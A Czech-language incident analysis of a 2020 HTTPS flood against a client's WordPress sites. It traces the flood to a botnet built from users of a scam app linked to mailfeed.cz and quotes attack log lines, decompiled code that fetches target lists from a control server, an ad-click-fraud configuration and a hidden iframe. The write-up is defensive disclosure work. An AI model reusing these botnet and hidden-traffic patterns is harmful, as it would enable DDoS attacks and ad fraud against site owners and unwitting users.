DDOS - HTTP Flood

Upozornění: Následující text byl napsán již před několika měsíci a mezitím se věci trochu změnily. Je potřeba brát s rezervou, že uvedené URL adresy už vrací jiný obsah.

DDOS útoky se staly součástí našeho běžného života. V tomto článku si rozebereme jeden konkrétní, který šel na jednoho našeho zákazníka a je určitým způsobem unikátní.

Všechny IP adresy nebo URL adresy (vyjma útočníka) jsou v textu nahrazeny za anonymizované.

DDOS útok

Cílem útoku se stal zákazník, který provozuje na jednom serveru několik webů postavených na Wordpressu. Běžně je zátěž serveru malá a server má dostatečnou rezervu pro případné špičky. Tentokrát na něj ale přišlo víc provozu, než na kolik byl navržen.

Jednalo se o 2 útoky. K prvnímu došlo 12.11.2020 a trval lehce přes hodinu od 19:33 do 20:44. Druhý byl trochu delší a trval od 20.11.2020 13:52 až do 21.11.2020 23:02.

Typ útoku byl HTTPs flood rozložený mezi několik webů zákazníka. Inzenzita útoku se průběžně měnila V nejsilnější moment šlo na serveru 46 609 HTTP požadavků za minutu nebo 960 za vteřinu. Server zákazníka byl stavěn na výrazně menší provoz.

Podobné útoky se dějí u některých zákazníků celkem často. Vždy stačí jen najít vzor, podle kterého se dá útok filtrovat a nastavit filtrační pravidla. I v tomto případě se vzor dal najít rychle.

Access log

192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.1 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=79112fb03fabfde2d4fd7491e1a0129e&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.2 - - [12/Nov/2020:19:33:33 +0100] "GET /?key=b73fcb3eddc02dda6607d66f846bb658&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"
192.0.2.3- - [12/Nov/2020:19:33:33 +0100] "GET /?key=406bb0333f1e45e9f63dfe2835353b66&json=http%3A%2F%2Fweb-control.eu%2F%2FpFt%2FFpT.php%3Fid%3D173 HTTP/1.1" 200 16400 "https://web-control.eu/pFt/FpT.php" "Mozilla/5.0"

Klíčů pro blokaci se zde nabízí více. Nám posloužil referer https://web-control.eu/pFt/FpT.php.

Už během útoku jsme odeslali hostingu, kde byla doména web-control.eu hostována, abuse report o probíhajícím útoku. Doména měla hosting v ČR, takže jsme se chtěli dozvědět víc. Samozřejmě http referrer odesílá klient a ten může poslat cokoliv se mu řekne, aby odeslal. Mohlo se tedy jednat o podvrženou adresu.

V tento moment připadaly v úvahu 2 možnosti. Buď je adresa referreru opravdu podvržená nebo za danou doménou někdo schovává reálný zdroj provozu - například reklamní systém nebo jiný web s vysokou návštěvností.

Zajímavé (a zároveň trochu zavádějící) byl použitý user-agent prohlížeče Mozilla/5.0, který není úplně běžný a hlavně byl ve všech případech stejný. Kdyby se jednalo o zneužití provozu jiného webu, tak by uživatelé přicházeli s různými user-agenty.

Zdrojové adresy útoku

Pojďme se podívat na zdrojové adresy útoku. Za celou dobu šel útok z celkem 1 136 unikátních adres. To není mnoho proti jiným útokům, které běžně řešíme. Logy ještě trochu vyfiltrujeme a odstraníme adresy Google bota (o tom později) a dalších, tak se dostaváme pouze k několika desítkám adres, které jsou pro nás relevantní. Všechny mají společného jmenovatele - jsou z ČR (nebo Slovenska) a zároveň to jsou domácí přípojky.

Tohle už pro nás začalo být zajímavé. Běžně jsou podobné útoky vedeny ze zahraničí. Velmi často vidíme, že jsou k DDOS útokům zneužívání cloudoví poskytovatelé jako je Amazon, OVH a dalsí. Využití českých poskytovatelů přístupu k internetu je pro nás v tomto případě unikátní.

Doména web-control.eu

Zaměřili jsme se na další indicii z logů a tou je adresa referreru - čili doména web-control.eu.

Na samotné doméně, ani na té konkrétní URL adrese se nám nepovedlo nic najít - pouze prázdnou stránku. Tady jsme žádné informace nezjistili. Až teď zpětně víme, že prázdná stránka vůbec nemusela být prázdná. Jen jsme v prohlížeči nic neviděli. K tomu se ale dostaneme později.

V době útoku byla hostovaná na IP adrese 46.36.35.196. Začali jsme zjišťovat, jaké další domény jsou na dané IP adrese hostované a využili k tomu nástroj dnslytics.com/reverse-ip/46.36.35.196, ze kterého jsme získali následující seznam domén (seznam je záměrně zkrácený - celkem jich tam byly desítky):

4-girls.eu
americkysen.xyz
az-mens.eu
az-recepty.eu
az-slim.eu
...
mailfeed.cz
...
slimmagazin.cz
sportovni-novinky.site
vartesnadno.cz
vaserecepty.site
...
web-control.eu
xn--npady-xqa.fun
zahradka.fun

Protože náš zákazník má weby s podobným zaměřením jako výše uvedené domény, tak jsme pojali podezření, že se jedná o konkureční boj a mohli bychom mít případný motiv. Chybí nám ale technický prostředek. Přecijen - kdyby útočník zneužil své domény, tak bychom neviděli user-agenta "Mozilla/5.0"". Chybí nám tedy technický prostředek.

Doména mailfeed.cz

V seznamu domén nás zaujala jedna konkrétní doména - mailfeed.cz, kde už od první chvíle je jasné, že se jedná o scam.

Mailfeed.cz - podvodná stránka

A zde také padlo podezření, že byli zneužiti uživatelé, kteří si aplikaci nainstalovali, k DDOS útoku, který na nás šel.

Ihned po instalaci aplikace (md5: 88f402ee087eadfacba25686a59cd04e) v izolovaném Windows prostředí jsme si všimli souboru log.txt, který obsahoval podobný formát adres jako jsme viděli v našem access logu při útoku:

29.03.2021 10:20:33: [VIEW]new: https://izdravi.online/?key=3dfc30aacd6f9a211b90e5a0ed01890d
29.03.2021 10:20:33: [VIEW]new: https://izdravi.online/?key=3dfc30aacd6f9a211b90e5a0ed01890d
29.03.2021 10:20:33: [VIEW]new: https://izdravi.online/?key=3dfc30aacd6f9a211b90e5a0ed01890d

Tento soubor tam byl již při kompilaci, takže lze předpokládat, že tam je již od autora aplikace (nebo alespoň toho, kdo jí sestavoval).

Ihned po spuštění aplikace, bez jakéhokoliv našeho vstupu, jsme viděli, že jsme se stali součástí botnetu a na weby našeho zákazníka posíláme z naší adresy také http požadavky ve stejném tvaru - tzn. https://domena-zakaznika.tld/?key=e6a8981c4e1595af0cf6f5fc0bfd7eca.

V tento moment můžeme prohlásit, že člověk, který stojí za projektem mailfeed.cz si vytvořil svůj vlastní botnet u českých uživatelů.

Program postak.exe

Pomocí nástroje ILSpy jsme dekompilovali aplikaci. Výstup dáváme veřejně dostupné zde: postak.zip.

Pro následující popis upozorňujeme, že .NET není naší silnou stránkou, takže nedokážeme udělat pořádnou analýzu toho, co ta aplikace dělá, ale jen zevrubně prozkoumáme zajímavé části.

Kampane\Program.cs

V tomto souboru nás zaujala řádka 197 obsahující:

CurrentWeb = LoadString("https://web-control.eu/pFt/FpZ.php?getSubject");

Na dané URL adrese se postupně mění různé adresy. Příkladem:

https://ifakta.online/?key=7a558203f2c470309009392b3d963be3
https://vartesnadno.cz/?key=7a558203f2c470309009392b3d963be3
https://xn--spch-pra4r.online/?key=7a558203f2c470309009392b3d963be3
https://neovlivni.cz/?key=7a558203f2c470309009392b3d963be3

Všimněte si zde parametru key, který jsme již několikrát viděli v úryvcích z access logu. V seznamu domén samozřejmě byly i weby našeho zákazníka.

Při spuštění aplikace se všechny výše zmíněné adresy volaly asynchronně na pozadí a uživatelé neměli žádné tušení, že se něco takového děje.

Clicker\AdsCache.cs

Tento soubor obsahuje další URL adresu, která se volá a to konkrétně na řádce 58:

string Data = Program.LoadString("https://web-control.eu/pFt/FpZ.php?getKeys");

jejíž odpověď je následující:

{
  "keys":[
    ["https:\/\/c.seznam.cz\/click?","{0}",0],
    ["https:\/\/www.mgid.com\/ghits\/","{0}",0],
    ["\/ghits\/","https:\/\/www.mgid.com{0}",0],
    ["https:\/\/www.googleadservices.com\/pagead\/aclk?","{0}",0],
    ["https:\/\/googleads.g.doubleclick.net\/aclk?","{0}",0],
    ["https:\/\/adclick.g.doubleclick.net\/aclk?","{0}",0],
    ["https:\/\/cz.search.etargetnet.com\/generic\/broad\/go.php?","{0}&cti=431&psi=1x62675081x6200887x15",0],
    ["clickTag=(.+)#?","{0}",2],
    ["clickTag=(.+)#?","{0}",3]
  ],
  "weirec":1.2,
  "delay":{
    "start":0,
    "add":5
  },
  "impression":{
    "from":5,
    "to":40
  },
  "timeout":120,
  "skip":5,
  "views":[],
  "batch":"10",
  "limiter":"100",
  "cycler":"60"
}

Máme takové tušení, že ještě s obsahem souboru Clicker\ClickingLogic.cs to vypadá na systém automatického klikání na reklamy a tím i generování nežádoucích impresí. Avšak - to už je celkem daleko od našeho útoku, takže to necháme k prozkoumání jiným.

Clicker\ClickingLogic.cs

Při sledování síťového provozu jsme si všiml, že program také volá domovskou stránku mailfeed.cz. Když se podíváme do jejího html kódu (přiložen zde mailfeed.cz.txt), tak na řádce 280 nalezneme neviditelný iframe:

<iframe src="https://web-control.eu/pFt/FpT.php" width="0" height="0">

A zde vzniká spekulace, že tato URL adresa vracela velké množství dalších skrytých iframů vedoucí na napadené weby, přes kterou uživatelé generovali nechtěný provoz. Bohužel tuto spekulaci nemůžeme podpořit důkazy, protože daná stránka vrací prázdný obsah. Nejspíše jako důsledek našeho abuse reportu, který jsme odeslali při DDOS útoku.

Avšak v access logu po útoku vidíme přístup na weby zákazníka od různých robotů jako je SeznamBot, Google bot a několika dalších. Lze se tedy domnívat, že útočník k zesílení útoku použil jednu z výše uvedených adres, které jsou veřejně a crawlery se je tak mohly naučit.

Závěr

Samozřejmě s ohledem na princip fungování HTTP protokolu, kdy spoléháme na informace, které zasílá klient (a ten je může zasílat podvržené), může být celá naše analýza nevalidní. Fakt, že se nám ale podařilo stát se součástí botnetu posílat z našeho adres nechtěně HTTP požadavky na weby našeho zákazníka, nás ale utvrzuje v tom, že tento scénář je reálný. Vyjma několika drobných detailů, které už zpětně nejsme schopni zrekonstruovat, protože útočník po zaslání našeho abuse reportu změnil některé prvky, jsme si téměř jisti, že probíhal způsobem, jakým jsme jej popsali.

Dlouho jsme přemýšleli, jestli tento text vydat či nikoliv, protože tím dáváme návod méně zdatným útočníkům, jak se to dá dělat lépe. Zároveň ukazujeme na to, že k sestavení celého scénáře potřebujeme velké množství indícií, kde stačí skrýt jednu z nich a nezjistili bychom vůbec nic. Touha sdílet informace v tomto případě byla ale silnější.